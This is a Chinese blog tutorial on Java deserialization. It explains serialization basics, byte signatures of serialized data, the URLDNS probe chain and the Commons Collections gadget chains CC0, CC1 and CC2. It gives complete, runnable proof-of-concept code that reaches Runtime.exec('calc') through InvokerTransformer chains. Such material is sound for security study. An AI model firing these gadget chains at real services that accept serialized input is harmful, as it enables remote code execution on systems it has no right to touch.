首页 > 基础资料 博客日记
Java 反序列化
2024-10-29 06:00:08基础资料围观61次
反序列化基础
Java 的序列化(Serialization)和反序列化(Deserialization)是将对象的状态转换为字节流并恢复的过程。这个过程使对象可以保存到文件、通过网络传输或保存到数据库中,并在稍后恢复成对象。
- 序列化(Serialization):将 Java 对象的状态转换为字节流的过程。这使得对象可以保存到文件、发送到其他 JVM 甚至通过网络传输。
- 反序列化(Deserialization):将字节流转换回 Java 对象的过程。这允许恢复先前序列化的对象状态。
序列化条件
要使 Java 对象可序列化,类必须实现 java.io.Serializable
接口。这个接口是一个标记接口(没有方法),它表明该类的对象可以被序列化。
import java.io.Serializable;
public class Person implements Serializable {
private static final long serialVersionUID = 1L; // 用于版本控制
private String name;
private int age;
// Constructors, getters, and setters
}
- serialVersionUID:每个可序列化类建议定义一个
serialVersionUID
字段,用于版本控制。不同的serialVersionUID
表示类的不同版本,如果序列化和反序列化的版本不匹配会抛出InvalidClassException
。private static final long serialVersionUID = 1L;
- transient 关键字:声明为
transient
的字段不会被序列化。它用于避免序列化敏感信息或不需要保存的字段。这种字段反序列化后为默认值(如null
)。private transient String password; // 密码不会被序列化
- 静态字段:静态字段属于类,而不是实例,因此不会被序列化。
- 对象图的完整性:序列化对象时,会递归地序列化其引用的所有对象。因此,引用对象也必须是可序列化的,否则会抛出
NotSerializableException
。
序列化接口
序列化基本用法
- 序列化对象:使用
ObjectOutputStream
将对象写入(writeObject
方法)到输出流(如文件输出流)。ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(hashMap);
- 反序列化对象:使用
ObjectInputStream
从输入流(如文件输入流)读取(readObject
方法)对象。ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray()); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); hashMap = (HashMap)objectInputStream.readObject();
自定义序列化
-
自定义序列化:通过实现
writeObject
和readObject
方法,可以自定义序列化和反序列化的行为。通常精心构造的序列化对象和 readObject 的自定义操作结合就可以造成反序列化漏洞。private void writeObject(ObjectOutputStream out) throws IOException { out.defaultWriteObject(); // 默认序列化 // 额外的序列化逻辑 } private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); // 默认反序列化 // 额外的反序列化逻辑 }
-
Externalizable 接口:
Externalizable
是Serializable
的子接口,它强制实现writeExternal
和readExternal
方法,提供完全控制序列化过程的能力。这对性能优化或定制序列化格式非常有用。import java.io.Externalizable; import java.io.IOException; import java.io.ObjectInput; import java.io.ObjectOutput; public class Person implements Externalizable { private String name; private int age; // 必须有无参数构造函数 public Person() {} public Person(String name, int age) { this.name = name; this.age = age; } @Override public void writeExternal(ObjectOutput out) throws IOException { out.writeObject(name); out.writeInt(age); } @Override public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException { name = (String) in.readObject(); age = in.readInt(); } }
反序列化功能特征
压缩特征(压缩后一些数据格式改变)
- zip 格式特征:
PK*
- zip+base64:
UE*
- gzip+base64:
H4s*
反序列化数据特征(数据内容+请求类型)
AC ED 00 05
in HexrO0
in Base64Content-type = ‘application/x-java-serialized-object
反序列化利用(URLDNS 为例)
URLDNS 反序列化利用链可以通过 DNS 请求来验证反序列化漏洞的可利用性。这条利用链使用 Java 内置的类构造,对第三方库没有依赖,可以在没有回显的情况下验证是否存在反序列化漏洞。我们可以在 https://requestrepo.com/ 网站上进行 DNS 请求测试。
测试代码
package com.example;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap hashMap = new HashMap();
URL url = new URL(null, "http://www.example.com", new URLStreamHandler() {
@Override
protected URLConnection openConnection(URL u) {
return null;
}
});
setFieldValue(url, "hashCode", 0xdeadbeef); // 防止提前触发影响观察现象
hashMap.put(url, "sky123");
setFieldValue(url, "hashCode", -1);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashMap);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
public static Object getFieldValue(Object object, String fieldName) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(object);
}
}
利用链分析
调用栈如下:
getHostAddress:436, URLStreamHandler (java.net)
hashCode:353, URLStreamHandler (java.net)
hashCode:878, URL (java.net)
hash:338, HashMap (java.util)
readObject:1397, HashMap (java.util)
首先在 HashMap.readObject
中会遍历 HashMap
的成员并对 key
调用 HashMap.hash
函数计算 hash。
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
...
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false); // <-- 调用 hash 函数
}
}
}
HashMap.hash
函数中会调用 key
的 hashCode
方法,也就是 URL.hashCode
。
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
在 URL.hashCode
函数中,由于我们设置 url
对象的 hashCode
成员值为 -1,因此会调用 URLStreamHandler.hashCode
函数。
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
URLStreamHandler.hashCode
函数会调用 getHostAddress
函数获取 URL 对应的 ip 地址,也就会发送 DNS 请求。
protected int hashCode(URL u) {
...
// Generate the host part.
InetAddress addr = getHostAddress(u);
...
}
CommonCollections 系列
Commons Collections 概述
Apache Commons Collections 是⼀个著名的辅助开发库,包含了一些 Java 中没有的数据结构和和辅助方法,不过随着 Java 9 以后的版本中原生库功能的丰富,以及反序列化漏洞的影响,它也在逐渐被升级或替代。
在 2015 年底 commons-collections 反序列化利用链被提出时,Apache Commons Collections 有以下两个分支版本:
commons-collections:commons-collections
org.apache.commons:commons-collections4
前者是 Commons Collections 老的版本包,当时版本号是 3.2.1;后者是官方在 2013 年推出的 4 版本,当时版本号是 4.0。
因为官方认为旧的 commons-collections 有⼀些架构和 API 设计上的问题,但修复这些问题,会产生大量不能向前兼容的改动。所以,commons-collections4 不再认为是一个用来替换 commons-collections 的新版本,而是一个新的包,两者的命名空间不冲突,因此可以共存在同一个项目中。
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons/collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.commons/commons/collections4 -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>
Transformer
Transformer
是一个接口,具体代码如下,可以看到这个接口只有一个 transform
方法。
public interface Transformer {
Object transform(Object var1);
}
Transformer
可以说是 CC 链的核心,几乎所有的 CC 链都依赖于 Transformer
。我们可以简单的把 CC 链总结为:
- 先寻找一个类,这个类自定义的
readObject
方法会直接或间接的触发对指定Transformer
对象调用transform
方法的代码。 - 由于我们可以用一系列
Transformer
接口实现类实现代码执行流的完全控制,因此当调用transform
方法的时候,就可以执行我们的恶意代码。
调用 transform 方法的对象
TransformedMap
TransformedMap
用于对 Java 标准数据结构 Map 做一个修饰,被修饰过的 Map
在添加(写入操作)新的元素时,将可以执行一个回调。我们通过下面这行代码对 innerMap
进行修饰,传出的 outerMap
即是修饰后的 Map
:
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,
valueTransformer);
被修饰后的 outerMap
在转换 Map
的新元素时,就会调用 transform
方法,这个过程就类似在调用⼀个“回调函数”,这个回调的参数是原始对象。
例如 TransformedMap.put
方法:
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}
另外对 TransformedMap
内部成员调用 setValue
时也会调用 transform
方法。
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
LazyMap
LazyMap
和 TransformedMap
类似,都来自于 Common-Collections 库,并继承 AbstractMapDecorator
。
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
在 Common-Collections4 中 decorate
方法改为 lazyMap
:
Map outerMap = LazyMap.lazyMap(innerMap, transformerChain)
LazyMap
的漏洞触发点和 TransformedMap
唯一的差别是,TransformedMap
是在写入元素的时候执行 transform
,而 LazyMap
是在其 get
方法中执行的 factory.transform
。
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
注意 LazyMap
是在其 get
方法中执行的 factory.transform
的条件是 LazyMap
没有当前查询的 key
,也就是说对于一个特定的 key
,我们只能调用一次 transform
。除非调用 Map.clear
方法清空 LazyMap
。
TransformingComparator
TransformingComparator
实现了 java.util.Comparator
接口,这个接口用于定义两个对象如何进行比较。对于一些需要维护顺序的数据结构(如 java.util.PriorityQueue
),如果传入 TransformingComparator
用于两个对象的比较,那么比较两个对象的时候会调用 TransformingComparator
的 compare
方法。在 compare
方法内部会调用其中 transformer
成员的 transform
方法并传入进行比较的对象。
public int compare(Object obj1, Object obj2) {
Object value1 = this.transformer.transform(obj1);
Object value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
TransformingComparator
的构造函数如下,这里的 transformer
就是我们构造的 Transformer
结构,另外 decorated
如果不指定会传入 new ComparableComparator()
。
public TransformingComparator(Transformer transformer) {
this(transformer, new ComparableComparator());
}
public TransformingComparator(Transformer transformer, Comparator decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
Transformer 的接口实现类
ConstantTransformer
ConstantTransformer
在构造函数的时候传入一个对象,并在 transform
方法将这个对象再返回:
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
在 Transformer
构造的代码执行流中,我们可以把 ConstantTransformer
理解为一个常量,可以返回一个确定的对象。
这样我们就可以屏蔽前面定义的 readObject
方法触发 transform
方法调用时传入的 input
参数对我们构造的 Transformer
构造的代码执行流产生影响。
InvokerTransformer
InvokerTransformer
可以对 transform
方法传入的对象参数用来执行任意方法,这也是反序列化能执行任意代码的关键。
在实例化这个 InvokerTransformer
时,需要传入三个参数:
String methodName
:待执行的函数名Class[] paramTypes
:这个函数的参数类型列表Object[] args
:传给这个函数的参数列表
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
后面的回调 transform
方法,就是执行了 input
对象的 iMethodName
方法,并传入 iArgs
参数,即 input.iMethod(iArgs)
。
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var6) {
InvocationTargetException ex = var6;
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
InstantiateTransformer
InstantiateTransformer
会把传入的 input
看做是一个 Class
对象,然后调用其对应的构造函数并传入指定参数来实例化一个对象。
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
super();
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException ex) {
throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
} catch (IllegalAccessException ex) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
} catch (InvocationTargetException ex) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
}
}
ChainedTransformer
ChainedTransformer
也是实现了 Transformer
接口的一个类,它的作用是将内部的多个 Transformer
串在一起。通俗来说就是,前一个回调返回的结果,作为后一个回调的参数传入。
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
Transformer 构造代码执行流
构造任意代码执行
根据前面对 Transformer
的介绍,我们可以将 Runtime.getRuntime().exec("calc")
拆解为 runtime = Runtime.getRuntime()
和 runtime.exec("calc")
两部分,因而有如下构造:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(null);
然而由于 Runtime
对象没有实现 Serializable
接口,因此 transformerChain
对象是无法序列化的,因此我们还要把 Runtime.getRuntime()
拆解为 getRuntime = Runtime.class.getMethod("getRuntime")
和 getRuntime.invoke(null)
。
由于 InvokerTransformer
内部会对传入的方法调用 getMethod
查找,因此构造 InvokerTransformer
时传入的参数类型需要严格按照传入的方法名对应的方法的定义来,且参数要和参数类型数量严格对应,这就是为什么实际上我们构造的是 Runtime.class.getMethod("getRuntime", null)
和 getRuntime.invoke(null, null)
。
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(null);
构造任意字节码加载
TemplatesImpl
加载任意字节码有如下调用栈:
defineClass:142, TemplatesImpl$TransletClassLoader (com.sun.org.apache.xalan.internal.xsltc.trax)
defineTransletClasses:346, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getTransletInstance:383, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:418, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:439, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
main:34, DefineClassExample (com.example)
因此我们只需要想办法让程序执行流程能够到达这个调用栈中任意一个函数即可,例如 newTransformer
。
Object obj = createTemplatesImpl("calc");
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(null);
相关利用链
CommonsCollections0(AnnotationInvocationHandler→TransformedMap)
sun.reflect.annotation.AnnotationInvocationHandler
的 readObject
中的 memberValue.setValue
会调用 setValue
方法,进而会调用到 memberValues
的 transformer
方法。
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
}
不过这里需要绕过 memberType != null
判断,根据调试可知 memberTypes
中的 key
是构造时传入的 type
对应的类中的所有方法名字符串,而 name
是构造时传入的 memberValues
中的某个 key
。
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
又因为 type
还要继承自 Annotation
,因此因此我构造的时候 type
选择 Retention.class
,这样 memberTypes
中的键就有一个 value
字符串,此时我们预先在 memberValues
中存一个 value
字符串的键就可以执行到 setValue
方法。
@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.ANNOTATION_TYPE)
public @interface Retention {
/**
* Returns the retention policy.
* @return the retention policy
*/
RetentionPolicy value();
}
完整 poc 如下:
package com.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.*;
public class CommonsCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "sky");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(handler);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}
调用栈如下:
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
checkSetValue:204, TransformedMap (org.apache.commons.collections.map)
setValue:192, AbstractInputCheckedMapDecorator$MapEntry (org.apache.commons.collections.map)
readObject:356, AnnotationInvocationHandler (sun.reflect.annotation)
...
main:36, CommonsCollections1 (com.example)
在 8u71 以后大概是 2015 年 12 月的时候,Java 官方修改了 sun.reflect.annotation.AnnotationInvocationHandler
的 readObject
函数。新版的 readObject
不再操作 memberValues
而是操作 Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues", null)
,因此 CC1 失效。
--- a/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java Tue Dec 01 08:58:28 2015 -0500 +++ b/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java Tue Dec 01 22:38:16 2015 +0000 @@ -25,6 +25,7 @@ package sun.reflect.annotation; +import java.io.ObjectInputStream; import java.lang.annotation.*; import java.lang.reflect.*; import java.io.Serializable; @@ -425,35 +426,72 @@ private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { - s.defaultReadObject(); + ObjectInputStream.GetField fields = s.readFields(); + + @SuppressWarnings("unchecked") + Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type", null); + @SuppressWarnings("unchecked") + Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues", null); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null; try { - annotationType = AnnotationType.getInstance(type); + annotationType = AnnotationType.getInstance(t); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); + // consistent with runtime Map type + Map<String, Object> mv = new LinkedHashMap<>(); // If there are annotation members without values, that // situation is handled by the invoke method. - for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { + for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) { String name = memberValue.getKey(); + Object value = null; Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists - Object value = memberValue.getValue(); + value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { - memberValue.setValue( - new AnnotationTypeMismatchExceptionProxy( + value = new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( - annotationType.members().get(name))); + annotationType.members().get(name)); } } + mv.put(name, value); + } + + UnsafeAccessor.setType(this, t); + UnsafeAccessor.setMemberValues(this, mv); + } + + private static class UnsafeAccessor { + private static final sun.misc.Unsafe unsafe; + private static final long typeOffset; + private static final long memberValuesOffset; + static { + try { + unsafe = sun.misc.Unsafe.getUnsafe(); + typeOffset = unsafe.objectFieldOffset + (AnnotationInvocationHandler.class.getDeclaredField("type")); + memberValuesOffset = unsafe.objectFieldOffset + (AnnotationInvocationHandler.class.getDeclaredField("memberValues")); + } catch (Exception ex) { + throw new ExceptionInInitializerError(ex); + } + } + static void setType(AnnotationInvocationHandler o, + Class<? extends Annotation> type) { + unsafe.putObject(o, typeOffset, type); + } + + static void setMemberValues(AnnotationInvocationHandler o, + Map<String, Object> memberValues) { + unsafe.putObject(o, memberValuesOffset, memberValues); } } }
CommonsCollections1(AnnotationInvocationHandler→LazyMap)
前面提到过,LazyMap
修饰过的 Map
只要调用 get
方法就会触发 transform
方法。然而 AnnotationInvocationHandler.readObject
并没有调用 get
方法。
不过幸运的是 AnnotationInvocationHandler
实现了 InvocationHandler
接口,本身是一个动态代理接口对象,也就是说只要我们把一个 Map
用 AnnotationInvocationHandler
代理,那么代理后的 Map
的任何方法调用都会执行到 AnnotationInvocationHandler
的 invoke
方法。
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
AnnotationInvocationHandler
的 invoke
方法特判几种方法后会调用 memberValues
的 get
方法,也就会触发 LazyMap
的 transform
方法调用。
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}
// Handle annotation member accessors
Object result = memberValues.get(member); // 调用 get 方法
if (result == null)
throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
return result;
}
完整 poc 如下,需要注意的是代理之后任何对 proxyMap
的操作都会触发 transformer
调用,因此需要最后设置恶意的 Transformer
。
package com.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
};
Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
setFieldValue(transformerChain, "iTransformers", transformers);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(handler);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}
调用栈如下:
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:158, LazyMap (org.apache.commons.collections.map)
invoke:69, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet:-1, $Proxy1 (com.sun.proxy) 内层 AnnotationInvocationHandler 代理的 Map
readObject:349, AnnotationInvocationHandler (sun.reflect.annotation)
...
main:42, CommonsCollections1 (com.example)
CommonsCollections2(PriorityQueue→TransformingComparator)
前面提到,TransformingComparator
在比较时会对比较的对象调用 transform
方法。
public int compare(Object obj1, Object obj2) {
Object value1 = this.transformer.transform(obj1);
Object value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
而 Java 中内置的维护顺序的容器如 PriorityQueue
在反序列化时会对内部的元素进行排序,这个过程中在 siftDownUsingComparator
函数内涉及了元素大小的比较。
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
因此我们只需要在创建 PriorityQueue
容器时指定比较对象为我们定义的 TransformingComparator
,之后往 PriorityQueue
中随便放两个元素,那么在反序列化时就会调用 comparator.compare
方法触发 transform
方法调用。
Comparator comparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(2,comparator);
poc 如下:
package com.example;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
public class CommonsCollections2 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
};
Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
Comparator comparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(2,comparator);
queue.add(1);
queue.add(1);
setFieldValue(transformerChain, "iTransformers", transformers);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(queue);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}
注意,类 org.apache.commons.collections4.comparators.TransformingComparator
,在 commons-collections4.0 以前是版本中是没有实现 Serializable
接口的,无法在序列化中使用。
